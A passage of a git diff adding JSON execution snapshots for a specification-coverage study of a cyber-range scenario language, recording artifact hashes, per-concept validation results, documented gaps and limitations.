"experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-25T04:28:19.309309+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "9f7edff3ddc324cec333556ce8044c137f87c978a8c38f20f92971259625c43e", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "222b00001ad6830c76772e01168532105751fbb7", + "snapshot_id": "issue-1360-specification-coverage-v51", + "snapshot_revision": "51.0.0", + "source_state": { + "base_revision": "222b00001ad6830c76772e01168532105751fbb7", + "checkout_state": "modified", + "implementation_digest": "fa2af23118d886d4390e5639ad198c4ce87aa4bc5d53eef51a917742040a8ee7", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v52.json b/docs/research/specification-coverage/execution-snapshot-v52.json new file mode 100644 index 000000000..9c974d632 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v52.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-25T05:31:37.066319+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": 